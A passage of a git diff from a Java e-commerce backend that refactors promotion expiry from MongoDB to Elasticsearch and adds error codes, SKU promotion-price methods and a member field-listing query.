this.goodsIndexService.updateIndex( + MapUtil.builder(new HashMap()).put("id", goodsCompleteMessage.getSkuId()).build(), + MapUtil.builder(new HashMap()).put("buyCount", buyCount).build()); + } else { log.error("商品SkuId为[" + goodsCompleteMessage.getGoodsId() + "的商品不存在,更新商品失败!"); } diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java index 0cf33727..bad47e54 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java @@ -1,34 +1,18 @@ package cn.lili.timetask.handler.impl.promotion; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; -import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.Seckill; -import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponVO; -import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.service.*; +import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.SeckillSetting; import cn.lili.modules.system.entity.enums.SettingEnum; import cn.lili.modules.system.service.SettingService; import cn.lili.timetask.handler.EveryDayExecute; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; import com.google.gson.Gson; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Component; -import java.util.ArrayList; -import java.util.Date; -import java.util.List; - /** * 促销活动每日定时器 * @@ -39,41 +23,11 @@ import java.util.List; @Component public class PromotionEverydayExecute implements EveryDayExecute { - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; /** * ES商品索引 */ @Autowired private EsGoodsIndexService esGoodsIndexService; - /** - * 满额活动 - */ - @Autowired - private FullDiscountService fullDiscountService; - /** - * 拼团 - */ - @Autowired - private PintuanService pintuanService; - /** - * 优惠券 - */ - @Autowired - private CouponService couponService; - /** - * 会员优惠券 - */ - @Autowired - private MemberCouponService memberCouponService; - /** - * 促销商品 - */ - @Autowired - private PromotionGoodsService promotionGoodsService; /** * 系统设置 */ @@ -90,125 +44,13 @@ public class PromotionEverydayExecute implements EveryDayExecute { */ @Override public void execute() { - //mongo查询条件 - Query query = new Query(); - //结束条件 活动未关闭/活动未结束 - query.addCriteria(Criteria.where("promotionStatus").ne(PromotionStatusEnum.END.name()) - .orOperator(Criteria.where("promotionStatus").ne(PromotionStatusEnum.CLOSE.name()))); - //结束条件 活动结束时间大于当前时间 - query.addCriteria(Criteria.where("endTime").lte(new Date())); - - //结束满减活动 - endFullDiscount(query); - - //关闭拼团活动 - endPintuan(query); - - //结束优惠券 - endCoupon(query); - + //查询条件 + this.esGoodsIndexService.cleanInvalidPromotion(); //定时创建活动 addSeckill(); } - /** - * 结束优惠券活动 - * - * @param query - */ - private void endCoupon(Query query) { - - try { - //关闭优惠券活动 - List couponVOS = mongoTemplate.find(query, CouponVO.class); - if (!couponVOS.isEmpty()) { - List ids = new ArrayList<>(); - // //关闭的优惠券活动 - for (CouponVO vo : couponVOS) { - vo.setPromotionStatus(PromotionStatusEnum.END.name()); - if (vo.getPromotionGoodsList() != null && !vo.getPromotionGoodsList().isEmpty()) { - for (PromotionGoods promotionGoods : vo.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(PromotionStatusEnum.END.name()); - esGoodsIndexService.deleteEsGoodsPromotionByPromotionId(promotionGoods.getSkuId(), vo.getId()); - } - } - mongoTemplate.save(vo); - ids.add(vo.getId()); - } - couponService.update(this.getUpdatePromotionWrapper(ids)); - LambdaUpdateWrapper memberCouponLambdaUpdateWrapper = new LambdaUpdateWrapper().in(MemberCoupon::getCouponId, ids).set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.EXPIRE.name()); - memberCouponService.update(memberCouponLambdaUpdateWrapper); - //将活动商品对照表进行结束处理 - promotionGoodsService.update(this.getUpdatePromotionGoodsWrapper(ids)); - } - } catch (Exception e) { - log.error("优惠券活动关闭错误", e); - } - } - - /** - * 结束拼团活动 - * - * @param query - */ - private void endPintuan(Query query) { - try { - //关闭拼团活动 - List pintuanVOS = mongoTemplate.find(query, PintuanVO.class); - if (!pintuanVOS.isEmpty()) { - //准备修改活动的id - List ids = new ArrayList<>(); - for (PintuanVO vo : pintuanVOS) { - vo.setPromotionStatus(PromotionStatusEnum.END.name()); - if (vo.getPromotionGoodsList() != null && !vo.getPromotionGoodsList().isEmpty()) { - for (PromotionGoods promotionGoods : vo.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(PromotionStatusEnum.END.name()); - esGoodsIndexService.deleteEsGoodsPromotionByPromotionId(promotionGoods.getSkuId(), vo.getId()); - } - } - mongoTemplate.save(vo); - ids.add(vo.getId()); - } - pintuanService.update(this.getUpdatePromotionWrapper(ids)); - //将活动商品对照表进行结束处理 - promotionGoodsService.update(this.getUpdatePromotionGoodsWrapper(ids)); - } - } catch (Exception e) { - log.error("拼团活动关闭错误", e); - } - } - - /** - * 结束满减活动 - * - * @param query - */ - private void endFullDiscount(Query query) { - try { - //关闭满减活动 - List fullDiscountVOS = mongoTemplate.find(query, FullDiscountVO.class); - if (!fullDiscountVOS.isEmpty()) { - List ids = new ArrayList<>(); - //循环活动 关闭活动 - for (FullDiscountVO vo : fullDiscountVOS) { - vo.setPromotionStatus(PromotionStatusEnum.END.name()); - if (vo.getPromotionGoodsList() != null && !vo.getPromotionGoodsList().isEmpty()) { - for (PromotionGoods promotionGoods : vo.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(PromotionStatusEnum.END.name()); - esGoodsIndexService.deleteEsGoodsPromotionByPromotionId(promotionGoods.getSkuId(), vo.getId()); - } - } - mongoTemplate.save(vo); - ids.add(vo.getId()); - } - fullDiscountService.update(this.getUpdatePromotionWrapper(ids)); - } - } catch (Exception e) { - log.error("满减活动关闭错误", e); - } - } - /** * 添加秒杀活动 * 从系统设置中获取秒杀活动的配置 @@ -218,32 +60,6 @@ public class PromotionEverydayExecute implements EveryDayExecute { Setting setting = settingService.get(SettingEnum.SECKILL_SETTING.name()); SeckillSetting seckillSetting = new Gson().fromJson(setting.getSettingValue(), SeckillSetting.class); Seckill seckill = new Seckill(SeckillService.PRE_CREATION, seckillSetting.getHours(), seckillSetting.getSeckillRule()); - seckillService.saveSeckill(seckill); - } - - /** - * 获取促销修改查询条件 修改活动状态 - * - * @param ids 促销活动ID - * @return 促销活动商品查询Wrapper - */ - private UpdateWrapper getUpdatePromotionWrapper(List ids) { - UpdateWrapper updateWrapper = new UpdateWrapper<>(); - updateWrapper.in("id", ids); - updateWrapper.set("promotion_status", PromotionStatusEnum.END.name()); - return updateWrapper; - } - - /** - * 获取商品的促销修改查询条件 修改商品状态 - * - * @param ids 促销活动ID - * @return 促销活动商品修改Wrapper - */ - private UpdateWrapper getUpdatePromotionGoodsWrapper(List ids) { - UpdateWrapper updateWrapper = new UpdateWrapper<>(); - updateWrapper.in("promotion_id", ids); - updateWrapper.set("promotion_status", PromotionStatusEnum.END.name()); - return updateWrapper; + seckillService.savePromotions(seckill); } } diff --git a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java index 9d6cf1fe..1eb8cbd3 100644 --- a/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java +++ b/consumer/src/main/java/cn/lili/trigger/executor/PromotionTimeTriggerExecutor.java @@ -1,16 +1,10 @@ package cn.lili.trigger.executor; import cn.hutool.json.JSONUtil; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.service.PromotionService; import cn.lili.trigger.TimeTriggerExecutor; -import cn.lili.trigger.interfaces.TimeTrigger; import cn.lili.trigger.message.PintuanOrderMessage; -import cn.lili.trigger.message.PromotionMessage; import cn.lili.trigger.model.TimeExecuteConstant; -import cn.lili.trigger.model.TimeTriggerMsg; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; @@ -25,21 +19,6 @@ import org.springframework.stereotype.Component; @Slf4j @Component(TimeExecuteConstant.PROMOTION_EXECUTOR) public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor { - /** - * 促销 - */ - @Autowired - private PromotionService promotionService; - /** - * RocketMQ - */ - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; - /** - * 延时任务 - */ - @Autowired - private TimeTrigger timeTrigger; /** * 订单 */ @@ -49,32 +28,6 @@ public class PromotionTimeTriggerExecutor implements TimeTriggerExecutor { @Override public void execute(Object object) { - PromotionMessage promotionMessage = JSONUtil.toBean(JSONUtil.parseObj(object), PromotionMessage.class); - //促销延时信息 - if (promotionMessage != null && promotionMessage.getPromotionId() != null) { - log.info("促销活动信息消费:{}", promotionMessage); - //如果为促销活动开始,则需要发布促销活动结束的定时任务 - if (PromotionStatusEnum.START.name().equals(promotionMessage.getPromotionStatus())) { - if (!promotionService.updatePromotionStatus(promotionMessage)) { - log.error("开始促销活动失败: {}", promotionMessage); - return; - } - //促销活动开始后,设置促销活动结束的定时任务 - promotionMessage.setPromotionStatus(PromotionStatusEnum.END.name()); - String uniqueKey = "{TIME_TRIGGER_" + promotionMessage.getPromotionType() + "}_" + promotionMessage.getPromotionId(); - if (promotionMessage.getEndTime() != null) { - //结束时间(延时一分钟) - long closeTime = promotionMessage.getEndTime().getTime() + 60000; - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, closeTime, promotionMessage, uniqueKey, rocketmqCustomProperties.getPromotionTopic()); - //添加延时任务 - timeTrigger.addDelay(timeTriggerMsg); - } - } else { - //不是开始,则修改活动状态 - promotionService.updatePromotionStatus(promotionMessage); - } - return; - } //拼团订单消息 PintuanOrderMessage pintuanOrderMessage = JSONUtil.toBean(JSONUtil.parseObj(object), PintuanOrderMessage.class); if (pintuanOrderMessage != null && pintuanOrderMessage.getPintuanId() != null) { diff --git a/framework/pom.xml b/framework/pom.xml index 170bd277..92c9f577 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -29,6 +29,12 @@ org.springframework.boot spring-boot-starter-web + + + log4j-to-slf4j + org.apache.logging.log4j + + org.springframework.boot diff --git a/framework/src/main/java/cn/lili/common/enums/ResultCode.java b/framework/src/main/java/cn/lili/common/enums/ResultCode.java index d08ca88f..af83e361 100644 --- a/framework/src/main/java/cn/lili/common/enums/ResultCode.java +++ b/framework/src/main/java/cn/lili/common/enums/ResultCode.java @@ -66,6 +66,7 @@ public enum ResultCode { GOODS_UPPER_ERROR(11004, "商品上架失败"), GOODS_AUTH_ERROR(11005, "商品审核失败"), POINT_GOODS_ERROR(11006, "积分商品业务异常,请稍后重试"), + POINT_GOODS_NOT_EXIST(11020, "积分商品不存在"), GOODS_SKU_SN_ERROR(11007, "商品SKU货号不能为空"), GOODS_SKU_PRICE_ERROR(11008, "商品SKU价格不能小于等于0"), GOODS_SKU_COST_ERROR(11009, "商品SKU成本价不能小于等于0"), @@ -247,6 +248,7 @@ public enum ResultCode { PROMOTION_START_TIME_ERROR(40002, "活动起始时间不能小于当前时间"), PROMOTION_END_TIME_ERROR(40003, "活动结束时间不能小于当前时间"), PROMOTION_TIME_ERROR(40004, "活动起始时间必须大于结束时间"), + PROMOTION_TIME_NOT_EXIST(40011, "活动起始时间和活动结束时间不能为空"), PROMOTION_SAME_ERROR(40005, "当前时间段已存在相同活动!"), PROMOTION_GOODS_ERROR(40006, "请选择要参与活动的商品"), PROMOTION_STATUS_END(40007, "当前活动已停止"), @@ -266,6 +268,11 @@ public enum ResultCode { COUPON_RECEIVE_ERROR(41005, "当前优惠券已经被领取完了,下次要早点来哦"), COUPON_NUM_INSUFFICIENT_ERROR(41006, "优惠券剩余领取数量不足"), COUPON_NOT_EXIST(41007, "当前优惠券不存在"), + COUPON_DO_NOT_RECEIVER(41030, "当前优惠券不允许主动领取"), + COUPON_ACTIVITY_NOT_EXIST(410022, "当前优惠券活动不存在"), + COUPON_SAVE_ERROR(41020, "保存优惠券失败"), + COUPON_ACTIVITY_SAVE_ERROR(41023, "保存优惠券活动失败"), + COUPON_DELETE_ERROR(41021, "删除优惠券失败"), COUPON_LIMIT_NUM_LESS_THAN_0(41008, "领取限制数量不能为负数"), COUPON_LIMIT_GREATER_THAN_PUBLISH(41009, "领取限制数量超出发行数量"), COUPON_DISCOUNT_ERROR(41010, "优惠券折扣必须小于10且大于0"), @@ -293,7 +300,8 @@ public enum ResultCode { PINTUAN_DELETE_ERROR(42010, "删除拼团活动失败"), PINTUAN_JOIN_ERROR(42011, "不能参与自己发起的拼团活动!"), PINTUAN_LIMIT_NUM_ERROR(42012, "购买数量超过拼团活动限制数量!"), - PINTUAN_NOT_EXIST_ERROR(42013, "当前拼团商品不存在!"), + PINTUAN_NOT_EXIST_ERROR(42013, "当前拼团活动不存在!"), + PINTUAN_GOODS_NOT_EXIST_ERROR(42014, "当前拼团商品不存在!"), /** * 满额活动 @@ -320,10 +328,12 @@ public enum ResultCode { */ SECKILL_NOT_START_ERROR(45000, "今日没有限时抢购活动,请明天再来看看吧。"), SECKILL_NOT_EXIST_ERROR(45001, "当前参与的秒杀活动不存在!"), + SECKILL_APPLY_NOT_EXIST_ERROR(45010, "当前参与的秒杀活动不存在!"), SECKILL_UPDATE_ERROR(45002, "当前秒杀活动活动已经开始,无法修改!"), SECKILL_PRICE_ERROR(45003, "活动价格不能大于商品原价"), SECKILL_TIME_ERROR(45004, "时刻参数异常"), SECKILL_DELETE_ERROR(45005, "该秒杀活动活动的状态不能删除"), + SECKILL_OPEN_ERROR(45010, "该秒杀活动活动的状态不能删除"), SECKILL_CLOSE_ERROR(45006, "该秒杀活动活动的状态不能关闭"), diff --git a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java index f95b749d..36229fca 100644 --- a/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java +++ b/framework/src/main/java/cn/lili/elasticsearch/config/ElasticsearchConfig.java @@ -16,6 +16,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.elasticsearch.config.AbstractElasticsearchConfiguration; +import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; import javax.annotation.PreDestroy; import java.io.IOException; @@ -68,6 +69,11 @@ public class ElasticsearchConfig extends AbstractElasticsearchConfiguration { return client; } + @Bean("elasticsearchRestTemplate") + public ElasticsearchRestTemplate elasticsearchRestTemplate() { + return new ElasticsearchRestTemplate(elasticsearchClient()); + } + private HttpHost[] getHttpHosts() { List clusterNodes = elasticsearchProperties.getClusterNodes(); HttpHost[] httpHosts = new HttpHost[clusterNodes.size()]; diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java index 022e7917..085819e8 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsSkuService.java @@ -136,6 +136,14 @@ public interface GoodsSkuService extends IService { */ IPage getGoodsSkuByPage(GoodsSearchParams searchParams); + /** + * 列表查询商品sku信息 + * + * @param searchParams 查询参数 + * @return 商品sku信息 + */ + List getGoodsSkuByList(GoodsSearchParams searchParams); + /** * 更新商品sku状态 * @@ -186,4 +194,12 @@ public interface GoodsSkuService extends IService { * @param skuId SKUId */ void updateGoodsSkuCommentNum(String skuId); + + /** + * 更新商品sku促销价格 + * + * @param skuId skuId + * @param promotionPrice 促销价格 + */ + void updateGoodsSkuPromotion(String skuId, Double promotionPrice); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index 08cb2a2d..63da4d2f 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -246,7 +246,7 @@ public class GoodsServiceImpl extends ServiceImpl implements if (CharSequenceUtil.isNotEmpty(goods.getParams())) { goodsVO.setGoodsParamsDTOList(JSONUtil.toList(goods.getParams(), GoodsParamsDTO.class)); } - + cache.put(CachePrefix.GOODS.getPrefix() + goodsId, goodsVO); return goodsVO; } diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index b6c8fc5a..c4be6980 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -7,6 +7,7 @@ import cn.hutool.core.util.StrUtil; import cn.hutool.json.JSONObject; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.properties.RocketmqCustomProperties; @@ -30,6 +31,7 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.entity.enums.EvaluationGradeEnum; import cn.lili.modules.member.service.MemberEvaluationService; +import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.service.EsGoodsIndexService; @@ -253,10 +255,25 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //商品规格 GoodsSkuVO goodsSkuDetail = this.getGoodsSkuVO(goodsSku); + Map promotionMap = goodsIndex.getPromotionMap(); //设置当前商品的促销价格 - if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty() && goodsIndex.getPromotionPrice() != null) { + if (promotionMap != null && !promotionMap.isEmpty() && goodsIndex.getPromotionPrice() != null) { goodsSkuDetail.setPromotionPrice(goodsIndex.getPromotionPrice()); } + if (promotionMap != null && !promotionMap.isEmpty()) { + promotionMap = promotionMap.entrySet().stream().parallel().filter(i -> { + JSONObject jsonObject = JSONUtil.parseObj(i.getValue()); + return (jsonObject.get("getType") == null || jsonObject.get("getType").toString().equals(CouponGetEnum.FREE.name())) && + (jsonObject.get("startTime") != null && jsonObject.get("startTime", Date.class).before(new Date())); + }).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue)); + for (String s : promotionMap.keySet()) { + if (!s.contains(PromotionTypeEnum.SECKILL.name()) || !s.contains(PromotionTypeEnum.PINTUAN.name())) { + goodsSkuDetail.setPromotionPrice(null); + break; + } + } + + } map.put("data", goodsSkuDetail); //获取分类 @@ -265,10 +282,10 @@ public class GoodsSkuServiceImpl extends ServiceImpl i //获取规格信息 map.put("specs", this.groupBySkuAndSpec(goodsVO.getSkuList())); - map.put("promotionMap", goodsIndex.getPromotionMap()); + map.put("promotionMap", promotionMap); //获取参数信息 - if (goodsVO.getGoodsParamsDTOList() != null && goodsVO.getGoodsParamsDTOList().size() > 0) { + if (goodsVO.getGoodsParamsDTOList() != null && !goodsVO.getGoodsParamsDTOList().isEmpty()) { map.put("goodsParamsDTOList", goodsVO.getGoodsParamsDTOList()); } @@ -385,6 +402,17 @@ public class GoodsSkuServiceImpl extends ServiceImpl i return this.page(PageUtil.initPage(searchParams), searchParams.queryWrapper()); } + /** + * 列表查询商品sku信息 + * + * @param searchParams 查询参数 + * @return 商品sku信息 + */ + @Override + public List getGoodsSkuByList(GoodsSearchParams searchParams) { + return this.list(searchParams.queryWrapper()); + } + @Override public void updateStocks(List goodsSkuStockDTOS) { for (GoodsSkuStockDTO goodsSkuStockDTO : goodsSkuStockDTOS) { @@ -486,6 +514,22 @@ public class GoodsSkuServiceImpl extends ServiceImpl i goodsService.updateGoodsCommentNum(goodsSku.getGoodsId()); } + /** + * 更新商品sku促销价格 + * + * @param skuId skuId + * @param promotionPrice 促销价格 + */ + @Override + public void updateGoodsSkuPromotion(String skuId, Double promotionPrice) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(GoodsSku::getId, skuId); + updateWrapper.set(GoodsSku::getPromotionPrice, promotionPrice); + updateWrapper.set(GoodsSku::getIsPromotion, true); + this.update(updateWrapper); + cache.remove(GoodsSkuService.getCacheKeys(skuId)); + } + /** * 发送生成ES商品索引 * diff --git a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java index f3f0d44a..c15178a7 100644 --- a/framework/src/main/java/cn/lili/modules/member/service/MemberService.java +++ b/framework/src/main/java/cn/lili/modules/member/service/MemberService.java @@ -16,6 +16,7 @@ import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; +import java.util.Map; /** * 会员业务层 @@ -212,6 +213,15 @@ public interface MemberService extends IService { */ Integer getMemberNum(MemberSearchVO memberSearchVO); + /** + * 获取指定会员数据 + * + * @param columns 指定获取的列 + * @param memberIds 会员ids + * @return 指定会员数据 + */ + List> listFieldsByMemberIds(String columns, List memberIds); + /** * 登出 * diff --git a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java index 10d69d81..8936beae 100644 --- a/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/member/serviceimpl/MemberServiceImpl.java @@ -59,6 +59,7 @@ import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.List; +import java.util.Map; import java.util.Objects; /** @@ -576,6 +577,20 @@ public class MemberServiceImpl extends ServiceImpl impleme return this.count(queryWrapper); } + /** + * 获取指定会员数据 + * + * @param columns 指定获取的列 + * @param memberIds 会员ids + * @return 指定会员数据 + */ + @Override + public List> listFieldsByMemberIds(String columns, List memberIds) { + return this.listMaps(new QueryWrapper() + .select(columns) + .in(memberIds != null && !memberIds.isEmpty(), "id", memberIds)); + } + /** * 登出 */ diff --git a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java index 9c9d1e91..4a746a7d 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/entity/vo/FullDiscountVO.java @@ -5,6 +5,8 @@ import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import lombok.Data; import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; +import org.springframework.beans.BeanUtils; import java.util.List; @@ -16,13 +18,16 @@ import java.util.List; */ @EqualsAndHashCode(callSuper = true) @Data +@NoArgsConstructor public class FullDiscountVO extends FullDiscount { private static final long serialVersionUID = -2330552735874105354L; + /** * 促销关联的商品 */ private List promotionGoodsList; + /** * 赠品信息 */ @@ -33,6 +38,10 @@ public class FullDiscountVO extends FullDiscount { */ private Integer number; + public FullDiscountVO(FullDiscount fullDiscount) { + BeanUtils.copyProperties(fullDiscount, this); + } + public String notice() { StringBuilder stringBuffer = new StringBuilder(); if (Boolean.TRUE.equals(this.getIsFullMinus())) { diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java index a6aa65b0..793abde5 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CheckDataRender.java @@ -80,14 +80,14 @@ public class CheckDataRender implements CartRenderStep { /** * 校验商品属性 * - * @param tradeDTO + * @param tradeDTO 购物车视图 */ private void checkData(TradeDTO tradeDTO) { //循环购物车中的商品 for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { //如果失效,确认sku为未选中状态 - if (cartSkuVO.getInvalid()) { + if (Boolean.TRUE.equals(cartSkuVO.getInvalid())) { //设置购物车未选中 cartSkuVO.setChecked(false); } @@ -172,7 +172,7 @@ public class CheckDataRender implements CartRenderStep { //判断拼团商品的限购数量 Optional pintuanId = tradeDTO.getSkuList().get(0).getPromotions().stream().filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); if (pintuanId.isPresent()) { - Pintuan pintuan = pintuanService.getPintuanById(pintuanId.get()); + Pintuan pintuan = pintuanService.getById(pintuanId.get()); Integer limitNum = pintuan.getLimitNum(); for (CartSkuVO cartSkuVO : tradeDTO.getSkuList()) { if (limitNum != 0 && cartSkuVO.getNum() > limitNum) { @@ -184,7 +184,7 @@ public class CheckDataRender implements CartRenderStep { } else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { String skuId = tradeDTO.getSkuList().get(0).getGoodsSku().getId(); //获取积分商品VO - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsVOByMongo(skuId); + PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(skuId); if (pointsGoodsVO == null) { throw new ServiceException(ResultCode.POINT_GOODS_ERROR); } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java index 21520c5b..a30f29ce 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CommissionRender.java @@ -9,7 +9,7 @@ import cn.lili.modules.order.cart.entity.vo.CartSkuVO; import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; +import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.PointsGoodsService; @@ -79,13 +79,13 @@ public class CommissionRender implements CartRenderStep { //如果积分订单 积分订单,单独操作订单结算金额和商家结算字段 if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.POINTS)) { - PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsVOByMongo(cartSkuVO.getGoodsSku().getId()); + PointsGoodsVO pointsGoodsVO = pointsGoodsService.getPointsGoodsDetailBySkuId(cartSkuVO.getGoodsSku().getId()); priceDetailDTO.setSettlementPrice(pointsGoodsVO.getSettlementPrice()); } //如果砍价订单 计算金额,单独操作订单结算金额和商家结算字段 else if (tradeDTO.getCartTypeEnum().equals(CartTypeEnum.KANJIA)) { - KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanJiaGoodsBySku(cartSkuVO.getGoodsSku().getId()); - priceDetailDTO.setSettlementPrice(kanjiaActivityGoodsDTO.getSettlementPrice()); + KanjiaActivityGoods kanjiaActivityGoods = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); + priceDetailDTO.setSettlementPrice(kanjiaActivityGoods.getSettlementPrice()); } } } diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java index ad833422..b37acdc7 100644 --- a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java +++ b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/CouponRender.java @@ -12,8 +12,8 @@ import cn.lili.modules.order.cart.render.CartRenderStep; import cn.lili.modules.order.cart.render.util.PromotionPriceUtil; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.promotion.entity.dos.MemberCoupon; -import cn.lili.modules.promotion.entity.enums.CouponScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.CouponTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.vos.MemberCouponVO; import cn.lili.modules.promotion.service.MemberCouponService; import org.springframework.beans.factory.annotation.Autowired; @@ -147,7 +147,7 @@ public class CouponRender implements CartRenderStep { return Collections.emptyList(); } //优惠券类型判定 - switch (CouponScopeTypeEnum.valueOf(memberCoupon.getScopeType())) { + switch (PromotionsScopeTypeEnum.valueOf(memberCoupon.getScopeType())) { case ALL: return filterSku; case PORTION_GOODS: diff --git a/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java b/framework/src/main/java/cn/lili/modules/order/cart/render/impl/FullDiscountRender.java 